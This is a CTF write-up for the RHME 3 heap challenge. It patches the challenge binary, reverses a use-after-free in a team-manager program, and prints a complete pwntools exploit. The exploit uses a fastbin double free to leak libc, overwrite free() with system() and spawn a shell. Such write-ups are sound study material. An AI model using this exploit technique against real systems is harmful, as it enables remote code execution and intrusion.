Hi,

This year, Riscure organized a CTF composed of 3 challenges : 2 crypto challenges and 1 exploitation challenge. I only did the exploitation challenge.

We’ll start by patching the binary in order to run it on our box. Then reversing the binary and finally exploiting it. We’ll use radare2 for the whole analysis.

Patching

In the background_process() daemonize() functions, there are some functions calls that cause the program to exit() if the conditions are not met.

background_process() function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
[0x00400ec0]> pdf @ sym.background_process 
/ (fcn) sym.background_process 236
|   sym.background_process ();
|           ; var int local_128h @ rbp-0x128
|           ; var int local_118h @ rbp-0x118
|           ; var int local_110h @ rbp-0x110
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x004021b2 (main)
|           0x00401033      55             push rbp
|           0x00401034      4889e5         mov rbp, rsp
|           0x00401037      4881ec300100.  sub rsp, 0x130
|           0x0040103e      4889bdd8feff.  mov qword [local_128h], rdi
|           0x00401045      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x44a8 ; '('
|           0x0040104e      488945f8       mov qword [local_8h], rax
|           0x00401052      31c0           xor eax, eax
|           0x00401054      488b85d8feff.  mov rax, qword [local_128h]
|           0x0040105b      4889c7         mov rdi, rax
|           0x0040105e      e82dfdffff     call sym.imp.getpwnam
|           0x00401063      488985e8feff.  mov qword [local_118h], rax
|           0x0040106a      4883bde8feff.  cmp qword [local_118h], 0
|       ,=< 0x00401072      750a           jne 0x40107e
|       |   0x00401074      bf01000000     mov edi, 1
|       |   0x00401079      e8f2fdffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x00401072 (sym.background_process)
|       `-> 0x0040107e      488b95d8feff.  mov rdx, qword [local_128h]
|           0x00401085      488d85f0feff.  lea rax, qword [local_110h]
|           0x0040108c      be44234000     mov esi, str._opt_riscure__s ; 0x402344 ; "/opt/riscure/%s"
|           0x00401091      4889c7         mov rdi, rax
|           0x00401094      b800000000     mov eax, 0
|           0x00401099      e8b2fdffff     call sym.imp.sprintf        ; int sprintf(char *s,
|           0x0040109e      488d85f0feff.  lea rax, qword [local_110h]
|           0x004010a5      4889c7         mov rdi, rax
|           0x004010a8      e809ffffff     call sym.daemonize
|           0x004010ad      be00000000     mov esi, 0
|           0x004010b2      bf00000000     mov edi, 0
|           0x004010b7      e884fcffff     call sym.imp.setgroups
|           0x004010bc      85c0           test eax, eax
|       ,=< 0x004010be      790a           jns 0x4010ca
|       |   0x004010c0      bf01000000     mov edi, 1
|       |   0x004010c5      e8a6fdffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x004010be (sym.background_process)
|       `-> 0x004010ca      488b85e8feff.  mov rax, qword [local_118h]
|           0x004010d1      8b4014         mov eax, dword [rax + 0x14] ; [0x14:4]=1
|           0x004010d4      89c7           mov edi, eax
|           0x004010d6      e835fdffff     call sym.imp.setgid
|           0x004010db      85c0           test eax, eax
|       ,=< 0x004010dd      790a           jns 0x4010e9
|       |   0x004010df      bf01000000     mov edi, 1
|       |   0x004010e4      e887fdffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x004010dd (sym.background_process)
|       `-> 0x004010e9      488b85e8feff.  mov rax, qword [local_118h]
|           0x004010f0      8b4010         mov eax, dword [rax + 0x10] ; [0x10:4]=0x3e0002
|           0x004010f3      89c7           mov edi, eax
|           0x004010f5      e886fdffff     call sym.imp.setuid
|           0x004010fa      85c0           test eax, eax
|       ,=< 0x004010fc      790a           jns 0x401108
|       |   0x004010fe      bf01000000     mov edi, 1
|       |   0x00401103      e868fdffff     call sym.imp.exit           ; void exit(int status)
|       |      ; JMP XREF from 0x004010fc (sym.background_process)
|       `-> 0x00401108      90             nop
|           0x00401109      488b45f8       mov rax, qword [local_8h]
|           0x0040110d      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x00401116      7405           je 0x40111d
|       |   0x00401118      e8a3fbffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00401116 (sym.background_process)
|       `-> 0x0040111d      c9             leave
\           0x0040111e      c3             ret

deamonize() function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
[0x00400ec0]> pdf @ sym.daemonize 
/ (fcn) sym.daemonize 125
|   sym.daemonize ();
|           ; var int local_18h @ rbp-0x18
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|              ; CALL XREF from 0x004010a8 (sym.background_process)
|           0x00400fb6      55             push rbp
|           0x00400fb7      4889e5         mov rbp, rsp
|           0x00400fba      4883ec20       sub rsp, 0x20
|           0x00400fbe      48897de8       mov qword [local_18h], rdi
|           0x00400fc2      e899feffff     call sym.imp.getppid
|           0x00400fc7      83f801         cmp eax, 1
|       ,=< 0x00400fca      7464           je 0x401030
|       |   0x00400fcc      e8bffeffff     call sym.imp.fork
|       |   0x00400fd1      8945f8         mov dword [local_8h], eax
|       |   0x00400fd4      837df800       cmp dword [local_8h], 0
|      ,==< 0x00400fd8      790a           jns 0x400fe4
|      ||   0x00400fda      bf01000000     mov edi, 1
|      ||   0x00400fdf      e88cfeffff     call sym.imp.exit           ; void exit(int status)
|      ||      ; JMP XREF from 0x00400fd8 (sym.daemonize)
|      `--> 0x00400fe4      837df800       cmp dword [local_8h], 0
|      ,==< 0x00400fe8      7e0a           jle 0x400ff4
|      ||   0x00400fea      bf00000000     mov edi, 0
|      ||   0x00400fef      e87cfeffff     call sym.imp.exit           ; void exit(int status)
|      ||      ; JMP XREF from 0x00400fe8 (sym.daemonize)
|      `--> 0x00400ff4      e857fdffff     call sym.imp.setsid
|       |   0x00400ff9      8945fc         mov dword [local_4h], eax
|       |   0x00400ffc      837dfc00       cmp dword [local_4h], 0
|      ,==< 0x00401000      790a           jns 0x40100c
|      ||   0x00401002      bf01000000     mov edi, 1
|      ||   0x00401007      e864feffff     call sym.imp.exit           ; void exit(int status)
|      ||      ; JMP XREF from 0x00401000 (sym.daemonize)
|      `--> 0x0040100c      bf00000000     mov edi, 0
|       |   0x00401011      e88afdffff     call sym.imp.umask          ; int umask(int m)
|       |   0x00401016      488b45e8       mov rax, qword [local_18h]
|       |   0x0040101a      4889c7         mov rdi, rax
|       |   0x0040101d      e88efcffff     call sym.imp.chdir
|       |   0x00401022      85c0           test eax, eax
|      ,==< 0x00401024      790b           jns 0x401031
|      ||   0x00401026      bf01000000     mov edi, 1
|      ||   0x0040102b      e840feffff     call sym.imp.exit           ; void exit(int status)
|      ||      ; JMP XREF from 0x00400fca (sym.daemonize)
|      |`-> 0x00401030      90             nop
|      |       ; JMP XREF from 0x00401024 (sym.daemonize)
|      `--> 0x00401031      c9             leave
\           0x00401032      c3             ret

The calls to patch:

  • getppid()
  • setgroups()
  • setgid()
  • setuid()
  • getpwname() (i didn’t patch it, i created the user)
  • chdir() (i didn’t patch it, i created the user)

For the patching, I wrote a simple C program that does the job, it searches for signatures and then patch it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int patch_once (FILE *fp, char *needle, int len_needle, char *mod, int len_mod)
{
    char buf[512];
    char *ptr;
    int idx;
    int found;
    int cur_off;
    int rewinded;

    fseek (fp, 0, SEEK_SET);

    // look for needle
    rewinded = 0;
    do {
        cur_off = ftell (fp);
        memset (buf, 0, sizeof (buf));
        ptr = fgets (buf, sizeof (buf), fp);
        if (!ptr)
            break;
        //printf ("cur_off : %d\n", cur_off);

        // look for needle
        found = -1;
        for (idx = 0; idx < sizeof (buf); idx++) {
            if (buf[idx] == *needle) {
                //printf ("Got first char at %d\n", cur_off + idx);
                if (memcmp (buf + idx, needle, len_needle) == 0) {
                    printf ("[+] Found needle\n");
                    found = idx;
                }
                else {
                    // if we already checked the untruncated buffer
                    // then move forward
                    if (rewinded) {
                        fseek (fp, cur_off + idx + 1, SEEK_SET);
                        rewinded = 0;
                    }
                    // we rewind fully in order to get untruncated buffer
                    else {
                        fseek (fp, cur_off + idx, SEEK_SET);
                        rewinded = 1;
                    }
                }

                break;
            }
        }

        // if we found the needle
        // then patch it
        if (0 <= found) {
            printf ("[+] Patched at %d\n", cur_off + found);
            fseek (fp, cur_off + found, SEEK_SET);
            fwrite (mod, len_mod, 1, fp);
            break;
        }
    } while (ptr);

    return 0;
}

int main (int argc, char **argv)
{
    FILE *fp;
    // patch for getppid in daemonize()
    char getppid_sig[] = "\x74\x64\xe8\xbf\xfe\xff\xff";
    char getppid_patch[] = "\x75\x64\xe8\xbf\xfe\xff\xff";
    // patch for setgroups in background_process()
    char setgroups_sig[] = "\xe8\x84\xfc\xff\xff\x85\xc0\x79\x0a";
    char setgroups_patch[] = "\xe8\x84\xfc\xff\xff\x85\xc0\x78\x0a";
    // patch for setgid in background_process()
    char setgid_sig[] = "\xe8\x35\xfd\xff\xff\x85\xc0\x79\x0a";
    char setgid_patch[] = "\xe8\x35\xfd\xff\xff\x85\xc0\x78\x0a";
    // patch for setuid in background_process()
    char setuid_sig[] = "\xe8\x86\xfd\xff\xff\x85\xc0\x79\x0a";
    char setuid_patch[] = "\xe8\x86\xfd\xff\xff\x85\xc0\x78\x0a";

    fp = fopen ("./pwn.elf", "r+");
    if (!fp) {
        fprintf (stderr, "[-] Failed opening file\n");
        exit (1);
    }

    printf ("[+] Patching getppid\n");
    patch_once (fp, getppid_sig, strlen (getppid_sig), getppid_patch, strlen (getppid_patch));

    printf ("\n[+] Patching setgroups\n");
    patch_once (fp, setgroups_sig, sizeof (setgroups_sig) - 1, setgroups_patch, sizeof (setgroups_patch) - 1);

    printf ("\n[+] Patching setgid\n");
    patch_once (fp, setgid_sig, sizeof (setgid_sig) - 1, setgid_patch, sizeof (setgid_patch) - 1);

    printf ("\n[+] Patching setuid\n");
    patch_once (fp, setuid_sig, sizeof (setuid_sig) - 1, setuid_patch, sizeof (setuid_patch) - 1);

    fclose (fp);

    return 0;
}

Create the pwn user and the “/opt/riscure/pwn/” directory (unless you patch it ;)). Now we can run the binary on our machine.

Reversing

Based on the menu we got:

1
2
3
4
5
6
7
8
9
10
$ ./main.elf
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

Through reversing the functions, we get the following structure for a player:

1
2
3
4
5
6
7
struct player_s {
    int attack;
    int defense;
    int speed;
    int precision;
    char *name;
};

The whole program purpose is to manipulate that structure and an array that has room for 10 pointers to this type of object.

Looking quickly at functions, we’ll find that:

  • select_player() takes a non NULL pointer from an array of player, we’ll call this the selected player
  • del_player() reset the selected player index to NULL but doesn’t NULL the selected player
  • Lots of functions re-use this selected player pointer, we got a use-after-free situation

We can see where the UAF happens through cross references:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[0x00400ec0]> axt obj.selected
data 0x401e42 mov rbx, qword obj.selected in sym.set_attack
data 0x401c96 mov qword obj.selected, rax in sym.select_player
data 0x401cb6 mov rax, qword obj.selected in sym.select_player
data 0x401fc1 mov rbx, qword obj.selected in sym.set_precision
data 0x4020cb mov rax, qword obj.selected in sym.show_player
data 0x4020f2 mov rax, qword obj.selected in sym.show_player
data 0x401ec1 mov rbx, qword obj.selected in sym.set_defense
data 0x401d3a mov rax, qword obj.selected in sym.set_name
data 0x401db9 mov rax, qword obj.selected in sym.set_name
data 0x401d65 mov rax, qword obj.selected in sym.set_name
data 0x401da7 mov rax, qword obj.selected in sym.set_name
data 0x401fff mov rax, qword obj.selected in sym.edit_player
data 0x401f41 mov rbx, qword obj.selected in sym.set_speed

Through this UAF we can cause a fastbins double-free situation:

  • name then the player structure is free()
  • realloc() is called in edit_player(), we can use this to provoke another free on name :)

Exploitation

The game plan:

  • create 1 player with our command and 2 players with a small name (< 10 chars), 1 player will serve as a barrier so we don’t have the top chunk just after our victim player, even though fastbins are only consolidated through malloc_consolidate() after hitting a threshold
  • Now we have player 0, player 1 and player 2.
  • select player 1 (our victim player)
  • delete player 1 (1st free : free (name); free (header))
  • Use the UAF to edit player 1 with a “big” name (50 chars here, still fastbin), this will free name again through realloc() : double free since we got free (name); free (header); free (name).

realloc() free the smaller buffer as it is not enough to store our bigger name. It then allocate a bigger buffer after player 2.

From there it’s a classic fastbins double-free attack. I created an overlap between a header and a controlled name. This allows to read and write memory. We leak a GOT entry, calculate libc base address and overwrite free() entry with system().

  • Now free player 0 to execute your command stored there.

The exploit

Here it is.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#!/usr/bin/python2

'''
author : m_101
desc   : exploit for Riscure RHME 3 heap challenge
date   : 21/08/2017
'''

from pwn import *
import struct

def recv_all (target, timeout = 1):
    result = ''
    while target.can_recv (timeout):
        result += target.recv ()
    return result

def add_player (target, name, attack = 1, defense = 2, speed = 3, precision = 4):
    target.sendline ('1')
    target.sendline (name)
    target.sendline ('%d' % attack)
    target.sendline ('%d' % defense)
    target.sendline ('%d' % speed)
    target.sendline ('%d' % precision)

def del_player (target, index):
    target.sendline ('2')
    target.sendline ('%d' % index)

def select_player (target, index):
    target.sendline ('3')
    target.sendline ('%d' % index)

def edit_player_name (target, name):
    target.sendline ('4')
    # edit name
    target.sendline ('1')
    target.sendline (name)
    # go back to previous menu
    target.sendline ('0')

def show_player (target):
    target.sendline ('5')

def show_team (target):
    target.sendline ('6')

def leak_once (target, addr):
    select_player (target, 3)
    # now we try to overwrite to the corrupted ptr thanks to the overlap
    edit_player_name (target, "c" * 16 + struct.pack ('<I', addr))
    recv_all (target)
    # leak
    select_player (target, 1)
    recv_all (target)
    show_player (target)

    target.recvuntil ('Name: ')
    result = target.recvuntil ('A/D/S/P:')
    result = result[: -len('A/D/S/P:') - 2]

    return result

def leak_bytes (target, addr, n_bytes):
    result = ''
    cur_addr = addr
    while len (result) < n_bytes:
        leaked = leak_once (target, cur_addr)
        leaked += '\x00'
        result += leaked
        cur_addr += len (leaked)
    result = result[:n_bytes]

    return result

def leak_qword (target, addr):
    result = leak_bytes (target, addr, 8)
    val = u64 (result, endian = 'little')
    return val

def write_bytes (target, addr, data):
    cur_addr = addr
    select_player (target, 3)
    # now we try to overwrite to the corrupted ptr thanks to the overlap
    edit_player_name (target, "c" * 16 + struct.pack ('<I', cur_addr))
    recv_all (target)
    # leak
    select_player (target, 1)
    recv_all (target)

    edit_player_name (target, data)
    recv_all (target)

def write_dword (target, addr, dword):
    write_bytes (target, addr, struct.pack ('<I', dword))

def write_qword (target, addr, qword):
    write_bytes (target, addr, struct.pack ('<I', qword & 0xffffffff))
    write_bytes (target, addr + 4, struct.pack ('<I', (qword >> 32) & 0xffffffff))

#target = process ('main.elf')
target = remote ('127.0.0.1', 1337)

# leak heap
add_player (target, 'player0')
select_player (target, 0)
del_player (target, 0)
recv_all (target)
show_player (target)
response = recv_all (target)

# parse leak
lines = response.split ('\n')
found = None
leak = None
for line in lines:
    if 'A/D/S/P' in line:
        found = line
        break
if found:
    kv = found.split (':')
    leak, _, _, _ = kv[1].strip().split (',')
    leak = int (leak, 10)
    print '[+] Got heap address : 0x%x' % leak

# now play with the heap a bit

print '[+] Prepare heap'

add_player (target, '/bin/bash')
add_player (target, 'player2')
add_player (target, 'player3')

select_player (target, 1)

del_player (target, 1)
recv_all (target)

# create fastbin double free()
# realloc() free player2 name as it is shorter than the asked named
# but we already previously freed() hdr2 and name2
# this provokes our double free condition :D

print '[+] Create fastbin double free'

edit_player_name (target, "a" * 50)
recv_all (target)

# create overlap

print '[+] Create overlap'

# we use a header free space
add_player (target, "b" * 40)
# take another header + overlap a name
add_player (target, "c" * 16 + "d" * 4)
recv_all (target)

print '[+] Overwrite'

# read file
binary = ELF ('main.elf')

free_addr = leak_qword (target, binary.got['free'])
libc_base = free_addr - 0x7da20

system_addr = libc_base + 0x410B0
print 'libc base : 0x%x' % libc_base
print 'free()    : 0x%x' % free_addr
print 'system()  : 0x%x' % system_addr

write_bytes (target, binary.got['free'], struct.pack ('<Q', system_addr))
leaked = leak_qword (target, binary.got['free'])
print 'leaked    : 0x%x' % leaked

print '[+] Spawn shell'

del_player (target, 0)
recv_all (target)

target.interactive ()

Conclusion

This challenge presented a nice UAF vulnerability and using the realloc() trick allowed us to exploit a fastbins double-free. Another way was to play with heap alignment.

Cheers,

m_101